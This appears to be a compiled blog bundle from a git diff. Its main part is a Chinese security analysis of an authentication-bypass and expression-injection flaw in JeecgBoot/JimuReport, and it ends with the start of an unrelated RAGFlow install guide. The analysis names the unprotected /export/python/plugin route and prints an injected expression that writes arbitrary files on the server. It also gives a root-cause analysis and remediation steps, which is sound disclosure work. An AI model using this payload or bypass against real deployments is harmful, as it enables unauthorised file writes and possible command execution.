\u63d2\u4ef6\u8def\u5f84\uff0c\u5173\u952e\u903b\u8f91\u7b49\u4ef7\u4e8e\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-java",children:'public boolean preHandle(HttpServletRequest request,\n HttpServletResponse response,\n Object handler) throws Exception {\n if (!needSignatureVerification(handler)) {\n return true;\n }\n\n String timestamp = request.getHeader("X-TIMESTAMP");\n String sign = request.getHeader("X-Sign");\n if (OkConvertUtils.isEmpty(timestamp)\n || OkConvertUtils.isEmpty(sign)) {\n error(response, "\u7b7e\u540d\u9a8c\u8bc1\u5931\u8d25: \u7b7e\u540d\u53c2\u6570\u4e0d\u5b58\u5728");\n return false;\n }\n\n if (System.currentTimeMillis() - Long.parseLong(timestamp)\n > 300000L) {\n error(response, "\u7b7e\u540d\u9a8c\u8bc1\u5931\u8d25:X-TIMESTAMP\u5df2\u8fc7\u671f");\n return false;\n }\n\n BodyReaderHttpServletRequestWrapper wrapper =\n new BodyReaderHttpServletRequestWrapper(request);\n String requestUri = request.getRequestURI();\n if (requestUri != null\n && requestUri.endsWith("/auto/export/python/plugin")) {\n String rawBody = wrapper.getBody();\n String calculated = DigestUtils.md5DigestAsHex(\n (rawBody + PRINT_PLUGIN_SIGN_SECRET)\n .getBytes("UTF-8"))\n .toUpperCase();\n if (!calculated.equals(sign)) {\n error(response, "\u7b7e\u540d\u6821\u9a8c\u5931\u8d25\uff0c\u53c2\u6570\u6709\u8bef\uff01");\n return false;\n }\n return true;\n }\n\n // \u5176\u4ed6\u5e26 @JimuSignature \u7684\u63a5\u53e3\u6309\u6392\u5e8f\u540e\u7684 query \u53c2\u6570\u8ba1\u7b97\u7b7e\u540d\n return verifyOtherSignaturePaths(wrapper, sign);\n}\n'})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"image-20260902162900466",src:r(58061).A+"",width:"2911",height:"1499"})}),"\n",(0,s.jsxs)(n.h3,{id:"4-jimureportautoserviceimpl\u4e24\u6761\u5165\u53e3\u6c47\u805a\u5230\u540c\u4e00\u670d\u52a1",children:["4. ",(0,s.jsx)(n.code,{children:"JimuReportAutoServiceImpl"}),"\uff1a\u4e24\u6761\u5165\u53e3\u6c47\u805a\u5230\u540c\u4e00\u670d\u52a1"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.strong,{children:"\u4ee3\u7801\u4f4d\u7f6e\uff1a"})}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-text",children:"./jeecg-module-system/jeecg-system-start/target/jeecg-system-start-3.9.5.jar!BOOT-INF/lib/jimureport-spring-boot4-starter-2.5.1.jar!org/jeecg/modules/jmreport/automate/service/a/a.class\n\u7f16\u8bd1\u6e90\u6587\u4ef6\uff1aJimuReportAutoServiceImpl.java\n\u65b9\u6cd5\uff1aautoExport(JimuReportAutoExportVO)\n\u5b57\u6bb5\uff1aautoAsyncTasks\u3001pyExecHandler\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u63a7\u5236\u5668\u8c03\u7528\u63a5\u53e3 ",(0,s.jsx)(n.code,{children:"IJimuReportAutoService.autoExport(vo)"}),"\u3002\u672c\u5730\u4f9d\u8d56\u4e2d\u7684\u670d\u52a1\u5b9e\u73b0\u5c06\u81ea\u52a8\u5bfc\u51fa\u4efb\u52a1\u4ea4\u7ed9\u5f02\u6b65\u4efb\u52a1\u548c\u5177\u4f53\u5bfc\u51fa\u5904\u7406\u5668\uff0c\u903b\u8f91\u53ef\u6982\u62ec\u4e3a\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-java",children:"@Override\npublic Result autoExport(JimuReportAutoExportVO vo) {\n Result result = autoAsyncTasks.export(vo);\n if (result.isSuccess()) {\n return download(result.getResult().toString(), null);\n }\n return result;\n}\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u539f\u59cb ",(0,s.jsx)(n.code,{children:"/export"})," \u548c\u65c1\u8def ",(0,s.jsx)(n.code,{children:"/export/python/plugin"})," \u90fd\u6267\u884c\u8be5\u8c03\u7528\uff0c\u56e0\u6b64\u65c1\u8def\u6ca1\u6709\u505c\u7559\u5728\u201c\u65e7\u63a5\u53e3\u8fd4\u56de\u63d0\u793a\u201d\u7684\u5c42\u9762\uff0c\u800c\u662f\u8fdb\u5165\u76f8\u540c\u7684\u62a5\u8868\u53c2\u6570\u5904\u7406\u548c\u5bfc\u51fa\u94fe\u3002"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"image-20260902162958987",src:r(17134).A+"",width:"2526",height:"1057"})}),"\n",(0,s.jsxs)(n.h3,{id:"5-pyexechandler-\u4e0e-auto_exportpy\u8868\u8fbe\u5f0f\u6570\u636e\u8fdb\u5165\u6267\u884c\u6d41\u7a0b",children:["5. ",(0,s.jsx)(n.code,{children:"PyExecHandler"})," \u4e0e ",(0,s.jsx)(n.code,{children:"auto_export.py"}),"\uff1a\u8868\u8fbe\u5f0f\u6570\u636e\u8fdb\u5165\u6267\u884c\u6d41\u7a0b"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.strong,{children:"\u4ee3\u7801\u4f4d\u7f6e\uff1a"})}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-text",children:"./jeecg-module-system/jeecg-system-start/target/jeecg-system-start-3.9.5.jar!BOOT-INF/lib/jimureport-spring-boot4-starter-2.5.1.jar!org/jeecg/modules/jmreport/automate/c/b.class\n\u7f16\u8bd1\u6e90\u6587\u4ef6\uff1aPyExecHandler.java\n\u76f8\u5173\u65b9\u6cd5\uff1aa(String, String[])\u3001a(String...)\n\n./jeecg-module-system/jeecg-system-start/target/jeecg-system-start-3.9.5.jar!BOOT-INF/lib/jimureport-spring-boot4-starter-2.5.1.jar!script/auto_export.py\n\n./jeecg-module-system/jeecg-system-start/target/jeecg-system-start-3.9.5.jar!BOOT-INF/lib/jimureport-spring-boot4-starter-2.5.1.jar!org/jeecg/modules/jmreport/desreport/express/ExpressUtil.class\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u4f9d\u8d56 JAR \u4e2d\u5305\u542b\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-text",children:"script/auto_export.py\n"})}),"\n",(0,s.jsxs)(n.p,{children:["Python \u6267\u884c\u5904\u7406\u5668 ",(0,s.jsx)(n.code,{children:"org.jeecg.modules.jmreport.automate.c.b"}),"\uff08\u7f16\u8bd1\u6e90\u6587\u4ef6\u540d\u4e3a ",(0,s.jsx)(n.code,{children:"PyExecHandler.java"}),"\uff09\u4f1a\u51c6\u5907\u811a\u672c\u76ee\u5f55\u3001\u811a\u672c\u8def\u5f84\u548c JSON \u53c2\u6570\uff0c\u7136\u540e\u542f\u52a8 Python \u811a\u672c\u5e76\u89e3\u6790\u811a\u672c\u8fd4\u56de\u503c\u3002\u5176\u5173\u952e\u6d41\u7a0b\u53ef\u8fd8\u539f\u4e3a\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-java",children:'public Result execute(String scriptDir,\n String scriptName,\n String[] args,\n Map env) {\n if (OkConvertUtils.isEmpty(scriptDir)) {\n throw new RuntimeException("\u811a\u672c\u76ee\u5f55\u4e0d\u80fd\u4e3a\u7a7a");\n }\n if (!isTrustedScript(scriptDir)) {\n throw new RuntimeException("\u811a\u672c\u6587\u4ef6\u4e0d\u53ef\u4fe1");\n }\n\n String output = ProcessUtil.exec(\n new String[] {scriptName, scriptDir}, env);\n return parsePythonResult(output);\n}\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u81ea\u52a8\u5bfc\u51fa\u524d\u7f6e\u6b65\u9aa4\u4f1a\u5c06 ",(0,s.jsx)(n.code,{children:"reportParams"})," \u4e2d\u7684\u53c2\u6570\u6620\u5c04\u5230\u62a5\u8868\u67e5\u8be2\u548c\u8868\u8fbe\u5f0f\u5904\u7406\u4e0a\u4e0b\u6587\u3002\u53d7\u5f71\u54cd\u6570\u636e\u6d41\u53ef\u8868\u793a\u4e3a\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-text",children:"HTTP JSON\n -> JimuReportAutoExportVO.reportParams\n -> \u81ea\u52a8\u5bfc\u51fa\u4efb\u52a1\u53c2\u6570\u6620\u5c04\n -> \u62a5\u8868\u67e5\u8be2\u53c2\u6570\n -> ExpressUtil / Aviator \u8868\u8fbe\u5f0f\u6c42\u503c\n -> Python \u5bfc\u51fa\u811a\u672c\u4e0e\u5bfc\u51fa\u7ed3\u679c\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u5f53\u53c2\u6570\u503c\u4ee5 ",(0,s.jsx)(n.code,{children:"="})," \u5f00\u5934\u65f6\uff0c\u8868\u8fbe\u5f0f\u5904\u7406\u5668\u4f1a\u53bb\u9664\u524d\u7f00\u5e76\u6267\u884c\u8868\u8fbe\u5f0f\u3002\u9a8c\u8bc1\u8868\u8fbe\u5f0f\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-text",children:"=__instance__.moduleCache['io']['spit'](\n '/tmp/jeecg_jimureport_poc',\n 'JEECG_JIMUREPORT_POC'\n)\n"})}),"\n",(0,s.jsxs)(n.p,{children:["\u8868\u8fbe\u5f0f\u4e2d\u7684 ",(0,s.jsx)(n.code,{children:"__instance__"}),"\u3001",(0,s.jsx)(n.code,{children:"moduleCache"})," \u548c ",(0,s.jsx)(n.code,{children:"io.spit"})," \u4f53\u73b0\u4e86\u5185\u90e8\u5bf9\u8c61\u53ef\u8fbe\u6027\uff1b\u5176\u76f4\u63a5\u9a8c\u8bc1\u7ed3\u679c\u662f\u4efb\u610f\u8def\u5f84\u6587\u4ef6\u5199\u5165\u3002\u82e5\u540c\u4e00\u4e0a\u4e0b\u6587\u66b4\u9732\u8fdb\u7a0b\u542f\u52a8\u3001\u9759\u6001\u65b9\u6cd5\u6216\u811a\u672c\u6267\u884c\u80fd\u529b\uff0c\u5219\u5f71\u54cd\u53ef\u6269\u5927\u5230\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u6267\u884c\u3002"]}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"image-20260902170822314",src:r(6723).A+"",width:"2298",height:"969"})}),"\n",(0,s.jsx)(n.h3,{id:"6-\u6839\u56e0\u5b9a\u4f4d",children:"6. \u6839\u56e0\u5b9a\u4f4d"}),"\n",(0,s.jsx)(n.p,{children:"\u6839\u56e0\u4e0d\u662f\u5355\u4e00\u7684 MD5 \u7b97\u6cd5\uff0c\u800c\u662f\u4e09\u4e2a\u63a7\u5236\u9762\u6ca1\u6709\u95ed\u5408\uff1a"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"\u5165\u53e3\u8986\u76d6\u4e0d\u5b8c\u6574"}),"\uff1a\u4fee\u590d\u5bf9 ",(0,s.jsx)(n.code,{children:"/export"})," \u589e\u52a0\u4e86\u6743\u9650\u63a7\u5236\uff0c\u4f46 ",(0,s.jsx)(n.code,{children:"/export/python/plugin"})," \u4ecd\u88ab ",(0,s.jsx)(n.code,{children:"@JimuNoLoginRequired"})," \u653e\u884c\uff1b"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"\u7b7e\u540d\u88ab\u8bef\u5f53\u4f5c\u6743\u9650\u8fb9\u754c"}),"\uff1a",(0,s.jsx)(n.code,{children:"@JimuSignature"})," \u53ea\u9a8c\u8bc1\u56fa\u5b9a\u5b57\u7b26\u4e32\u548c\u539f\u59cb\u8bf7\u6c42\u4f53\uff0c\u4e0d\u7b49\u4ef7\u4e8e\u767b\u5f55\u3001\u89d2\u8272\u6216\u6743\u9650\u6821\u9a8c\uff1b"]}),"\n",(0,s.jsxs)(n.li,{children:[(0,s.jsx)(n.strong,{children:"\u53c2\u6570\u4fe1\u4efb\u8fb9\u754c\u8fc7\u5bbd"}),"\uff1a",(0,s.jsx)(n.code,{children:"reportParams[].params"})," \u4ecd\u80fd\u8fdb\u5165\u8868\u8fbe\u5f0f\u4e0a\u4e0b\u6587\uff0c\u672a\u88ab\u9650\u5236\u4e3a\u666e\u901a\u6570\u636e\u3002"]}),"\n"]}),"\n",(0,s.jsx)(n.h3,{id:"7-\u4fee\u590d\u5efa\u8bae",children:"7. \u4fee\u590d\u5efa\u8bae"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsxs)(n.li,{children:["\u5bf9 ",(0,s.jsx)(n.code,{children:"/jmreport/auto/export/python/plugin"})," \u53bb\u9664 ",(0,s.jsx)(n.code,{children:"@JimuNoLoginRequired"}),"\uff0c\u589e\u52a0\u4e0e ",(0,s.jsx)(n.code,{children:"/jmreport/auto/export"})," \u4e00\u81f4\u7684\u767b\u5f55\u3001\u89d2\u8272\u548c\u6743\u9650\u6821\u9a8c\uff1b"]}),"\n",(0,s.jsx)(n.li,{children:"\u82e5 Python \u63d2\u4ef6\u5bfc\u51fa\u4e0d\u518d\u4f7f\u7528\uff0c\u76f4\u63a5\u5220\u9664\u6216\u7981\u7528\u8be5\u8def\u7531\uff0c\u5e76\u5728\u7f51\u5173\u5c42\u963b\u65ad\u65e7\u8def\u5f84\uff1b"}),"\n",(0,s.jsxs)(n.li,{children:["\u5bf9 ",(0,s.jsx)(n.code,{children:"reportParams[].params"})," \u5b9e\u65bd\u4e25\u683c allowlist\uff0c\u53ea\u5141\u8bb8\u666e\u901a\u5b57\u7b26\u4e32\u3001\u6570\u5b57\u3001\u65e5\u671f\u7b49\u5b57\u9762\u91cf\uff0c\u62d2\u7edd ",(0,s.jsx)(n.code,{children:"="})," \u8868\u8fbe\u5f0f\u524d\u7f00\u3001\u5bf9\u8c61\u8bbf\u95ee\u3001\u6a21\u5757\u8bbf\u95ee\u548c\u9759\u6001\u65b9\u6cd5\u8c03\u7528\uff1b"]}),"\n",(0,s.jsx)(n.li,{children:"\u4e0d\u628a\u56fa\u5b9a\u7b7e\u540d\u5bc6\u94a5\u5f53\u4f5c\u8eab\u4efd\u8ba4\u8bc1\uff0c\u6539\u7528\u771f\u5b9e\u4f1a\u8bdd\u3001Token\u3001\u89d2\u8272\u548c\u7ec6\u7c92\u5ea6\u6743\u9650\u63a7\u5236\uff1b"}),"\n",(0,s.jsx)(n.li,{children:"\u5bf9 Python \u8fdb\u7a0b\u8fdb\u884c\u6700\u5c0f\u6743\u9650\u9694\u79bb\uff0c\u9650\u5236\u6587\u4ef6\u7cfb\u7edf\u3001\u7f51\u7edc\u548c\u8fdb\u7a0b\u521b\u5efa\u80fd\u529b\uff1b"}),"\n",(0,s.jsxs)(n.li,{children:["\u5347\u7ea7\u540e\u786e\u8ba4\u8fd0\u884c\u65f6 JAR \u4e2d ",(0,s.jsx)(n.code,{children:"/export/python/plugin"})," \u4e0d\u518d\u5e26 ",(0,s.jsx)(n.code,{children:"@JimuNoLoginRequired"}),"\uff0c\u5e76\u7528\u672c\u6587\u7b2c\u4e03\u8282\u7684\u8d1f\u5411\u7528\u4f8b\u9a8c\u8bc1\u672a\u767b\u5f55\u8bf7\u6c42\u88ab\u62d2\u7edd\u3002"]}),"\n"]}),"\n",(0,s.jsx)(n.h2,{id:"\u4e03\u5176\u4ed6\u8bf4\u660e\u4e8b\u9879",children:"\u4e03\u3001\u5176\u4ed6\u8bf4\u660e\u4e8b\u9879\uff1a"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsxs)(n.p,{children:["\u672c\u6587\u7684\u201c\u4fee\u590d\u7ed5\u8fc7\u201d\u7279\u6307 Issue #9837 \u6240\u4fee\u590d\u7684 ",(0,s.jsx)(n.code,{children:"/jmreport/auto/export"})," \u4e0e\u4ecd\u53ef\u8c03\u7528\u7684 ",(0,s.jsx)(n.code,{children:"/jmreport/auto/export/python/plugin"})," \u4e4b\u95f4\u7684\u5165\u53e3\u8986\u76d6\u5dee\u5f02\uff0c\u4e0d\u4ee3\u8868\u6240\u6709\u7248\u672c\u548c\u90e8\u7f72\u90fd\u5fc5\u7136\u5b58\u5728\u8be5\u8def\u7531\u3002"]}),"\n"]}),"\n",(0,s.jsxs)(n.li,{children:["\n",(0,s.jsxs)(n.p,{children:["\u6587\u7ae0\u4ee3\u7801\u7247\u6bb5\u6765\u81ea\u672c\u5730 ",(0,s.jsx)(n.code,{children:"JeecgBoot 3.9.5"}),"\u3001",(0,s.jsx)(n.code,{children:"JimuReport 2.5.1"})," \u8fd0\u884c\u65f6\u4f9d\u8d56\u7684\u53cd\u7f16\u8bd1\u7b49\u4ef7\u8868\u793a\uff1b\u7c7b\u6587\u4ef6\u538b\u7f29\u540e\u7684\u65b9\u6cd5\u540d\u53ef\u80fd\u663e\u793a\u4e3a ",(0,s.jsx)(n.code,{children:"a"}),"\u3001",(0,s.jsx)(n.code,{children:"b"}),"\u3001",(0,s.jsx)(n.code,{children:"c"}),"\uff0c\u4e0d\u5f71\u54cd\u8def\u7531\u548c\u6ce8\u89e3\u5224\u65ad\u3002"]}),"\n"]}),"\n"]})]})}function p(e={}){const{wrapper:n}={...(0,i.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(a,{...e})}):a(e)}},72462:(e,n,r)=>{r.d(n,{A:()=>t});const t=r.p+"assets/images/image-20260902171528544-807d037f624da9ad81c69f1d589ff42e.png"},80752:(e,n,r)=>{r.d(n,{A:()=>t});const t=r.p+"assets/images/image-20260902171052052-b7f5451f3dac6cf5e69020720a75d272.png"},81292:(e,n,r)=>{r.d(n,{A:()=>t});const t=r.p+"assets/images/image-20260902171749761-019074ec6bb93a5e29aaa758a141d17b.png"}}]); \ No newline at end of file diff --git a/en/assets/js/fa73e5aa.6f80e8c9.js b/en/assets/js/fa73e5aa.6f80e8c9.js new file mode 100644 index 0000000..32889f2 --- /dev/null +++ b/en/assets/js/fa73e5aa.6f80e8c9.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7034],{28453:(n,e,s)=>{s.d(e,{R:()=>d,x:()=>c});var l=s(96540);const i={},r=l.createContext(i);function d(n){const e=l.useContext(r);return l.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function c(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(i):n.components||i:d(n.components),l.createElement(r.Provider,{value:e},n.children)}},86325:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>t,contentTitle:()=>c,default:()=>x,frontMatter:()=>d,metadata:()=>l,toc:()=>h});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/RAGFlow\u5b89\u88c5/README","title":"RAGFlow \u5b89\u88c5\u6307\u5357\u5927\u7eb2","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/01.RAGFlow\u5b89\u88c5/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/01.RAGFlow\u5b89\u88c5","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/RAGFlow\u5b89\u88c5/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/RAGFlow\u5b89\u88c5/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/01.RAGFlow\u5b89\u88c5/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5404\u7c7bCTF\u6bd4\u8d5bWP/01.2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4/"},"next":{"title":"\u5b89\u88c5Gitbook","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/GitBook\u5b89\u88c5/"}}');var i=s(74848),r=s(28453);const d={},c="RAGFlow \u5b89\u88c5\u6307\u5357\u5927\u7eb2",t={},h=[{value:"1. \u524d\u8a00",id:"1-\u524d\u8a00",level:2},{value:"1.1 \u672c\u6587\u4ecb\u7ecd",id:"11-\u672c\u6587\u4ecb\u7ecd",level:3},{value:"1.2 RAGFlow \u662f\u4ec0\u4e48\uff1f",id:"12-ragflow-\u662f\u4ec0\u4e48",level:3},{value:"1.3 \u5b89\u88c5\u524d\u7684\u51c6\u5907",id:"13-\u5b89\u88c5\u524d\u7684\u51c6\u5907",level:3},{value:"1.3.1 Windows",id:"131-windows",level:4},{value:"1.3.2 Linux",id:"132-linux",level:4},{value:"1.3.3 Macos",id:"133-macos",level:4}];function o(n){const e={a:"a",code:"code",del:"del",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",p:"p",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...n.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.header,{children:(0,i.jsx)(e.h1,{id:"ragflow-\u5b89\u88c5\u6307\u5357\u5927\u7eb2",children:"RAGFlow \u5b89\u88c5\u6307\u5357\u5927\u7eb2"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(e.tbody,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"left"},children:(0,i.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-15 00:37:48"})]})})]}),"\n",(0,i.jsx)(e.h2,{id:"1-\u524d\u8a00",children:"1. \u524d\u8a00"}),"\n",(0,i.jsx)(e.h3,{id:"11-\u672c\u6587\u4ecb\u7ecd",children:"1.1 \u672c\u6587\u4ecb\u7ecd"}),"\n",(0,i.jsx)(e.p,{children:"\u672c\u6587\u4f1a\u4ece Windows\u3001Linux \u548c macOS \u7b49\u4e0d\u540c\u64cd\u4f5c\u7cfb\u7edf\u73af\u5883\u4e0b\u7684\u5b89\u88c5\u8fdb\u884c\u8be6\u7ec6\u4ecb\u7ecd\uff0c\u6db5\u76d6\u5404\u5e73\u53f0\u7684\u4e0d\u540c\u5b89\u88c5\u6b65\u9aa4\u548c\u914d\u7f6e\u8981\u6c42\u3002\u5185\u5bb9\u5305\u62ec\uff1a"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"**\u57fa\u7840\u73af\u5883\u914d\u7f6e\uff1a**\u5982\u4f55\u5728\u5404\u64cd\u4f5c\u7cfb\u7edf\u4e0a\u51c6\u5907\u5b89\u88c5\u73af\u5883\uff08\u5982\u4f9d\u8d56\u5e93\u3001\u5de5\u5177\u7b49\uff09\u3002"}),"\n",(0,i.jsx)(e.li,{children:"**RAGFlow \u5b89\u88c5\uff1a**\u5728 Windows\u3001Linux \u548c macOS \u4e0a\u7684\u5b89\u88c5\u6d41\u7a0b\uff0c\u5305\u62ec\u624b\u52a8\u5b89\u88c5\u4e0e\u4f7f\u7528\u5305\u7ba1\u7406\u5de5\u5177\u7684\u65b9\u5f0f\u3002"}),"\n",(0,i.jsxs)(e.li,{children:["**\u5bb9\u5668\u5316\u90e8\u7f72\uff1a**\u9488\u5bf9 K3s\u3001Kubernetes\uff08K8s\uff09\u548c Docker \u4e2d\u7684 RAGFlow \u90e8\u7f72\u65b9\u5f0f\uff0c\u8be6\u7ec6\u8bf4\u660e\u5bb9\u5668\u5316\u73af\u5883\u4e2d\u7684\u914d\u7f6e\u4e0e\u8fd0\u884c\u6b65\u9aa4\u3002\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:"K3s/k8s \u90e8\u7f72\uff1a"})," Kubernetes \u96c6\u7fa4\u90e8\u7f72\u65b9\u5f0f"]}),"\n",(0,i.jsx)(e.li,{children:"**Docker \u90e8\u7f72\uff1a**\u57fa\u4e8e Docker \u5bb9\u5668\u7684\u5feb\u901f\u90e8\u7f72\u65b9\u5f0f\uff0c\u9002\u5408\u5f00\u53d1\u548c\u6d4b\u8bd5\u73af\u5883\u3002"}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:"\u672c\u6587\u5c06\u5e2e\u52a9\u60a8\u6839\u636e\u4e0d\u540c\u7684\u64cd\u4f5c\u7cfb\u7edf\u9009\u62e9\u5408\u9002\u7684\u5b89\u88c5\u65b9\u6cd5\uff0c\u786e\u4fdd RAGFlow \u80fd\u5728\u5404\u79cd\u73af\u5883\u4e0b\u987a\u5229\u8fd0\u884c\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u26a0\ufe0f ",(0,i.jsx)(e.strong,{children:"\u6ce8\u610f\u4e8b\u9879"}),"\uff1a\u5982\u679c\u4f60\u5bf9GPU\u6709\u9700\u6c42\uff0c\u90a3\u4e48\u5982\u679c\u4f60\u5728\u865a\u62df\u673alinux\u4e2d\u5b89\u88c5\u7684\uff0c\u9700\u8981\u5bf9\u663e\u5361\u76f4\u901a\uff08\u5176\u4e2d windows \u73af\u5883\u4e0b\u63a8\u8350 \u91c7\u7528docker \u5b89\u88c5\uff0c",(0,i.jsx)(e.code,{children:"vmware workstation "}),"\u662f\u4e0d\u652f\u6301\u76f4\u901a\u7684\u3002\uff09"]}),"\n",(0,i.jsx)(e.h3,{id:"12-ragflow-\u662f\u4ec0\u4e48",children:"1.2 RAGFlow \u662f\u4ec0\u4e48\uff1f"}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.a,{href:"https://ragflow.io/",children:"RAGFlow"})," \u662f\u4e00\u6b3e\u57fa\u4e8e\u6df1\u5ea6\u6587\u6863\u7406\u89e3\u6784\u5efa\u7684\u5f00\u6e90 RAG\uff08Retrieval-Augmented Generation\uff09\u5f15\u64ce\u3002RAGFlow \u53ef\u4ee5\u4e3a\u5404\u79cd\u89c4\u6a21\u7684\u4f01\u4e1a\u53ca\u4e2a\u4eba\u63d0\u4f9b\u4e00\u5957\u7cbe\u7b80\u7684 RAG \u5de5\u4f5c\u6d41\u7a0b\uff0c\u7ed3\u5408\u5927\u8bed\u8a00\u6a21\u578b\uff08LLM\uff09\u9488\u5bf9\u7528\u6237\u5404\u7c7b\u4e0d\u540c\u7684\u590d\u6742\u683c\u5f0f\u6570\u636e\u63d0\u4f9b\u53ef\u9760\u7684\u95ee\u7b54\u4ee5\u53ca\u6709\u7406\u6709\u636e\u7684\u5f15\u7528\u3002"]}),"\n",(0,i.jsxs)(e.h3,{id:"13-\u5b89\u88c5\u524d\u7684\u51c6\u5907",children:["1.3 ",(0,i.jsx)(e.strong,{children:"\u5b89\u88c5\u524d\u7684\u51c6\u5907"})]}),"\n",(0,i.jsx)(e.h4,{id:"131-windows",children:"1.3.1 Windows"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u8f6f\u4ef6\u5b89\u88c5"})}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.a,{href:"https://docs.docker.com/desktop/setup/install/windows-install/#system-requirements",children:(0,i.jsx)(e.strong,{children:"DOCKER"})}),"\uff1a\u5fc5\u987b\u5b89\u88c5"]}),"\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.a,{href:"https://blog.csdn.net/qq_44703886/article/details/112859392",children:(0,i.jsx)(e.strong,{children:"NVIDIA"})}),"\uff1a\u63a8\u8350\u5b89\u88c5\uff0c\u5982\u679c\u4f60\u7684\u663e\u5361\u7b97\u529b\u6bd4\u8f83\u597d\uff0c\u90a3\u4e48\u5f3a\u70c8\u63a8\u8350\u5b89\u5168\u3002"]}),"\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.a,{href:"https://ollama.com/download",children:"OLLAMA"}),"\uff1a\u5148\u5b89\u88c5\u663e\u5361\u9a71\u52a8\u540e\uff0c\u518d\u5b89\u88c5ollama"]}),"\n"]}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"\u7cfb\u7edf\u8981\u6c42"}),"\uff1a\u5982\u679c\u4f60\u6709\u663e\u5361\u652f\u6301\uff0c\u90a3\u4e48\u5185\u5b58\u548cCPU\u53ef\u9002\u5f53\u964d\u4f4e"]}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"CPU >= 4 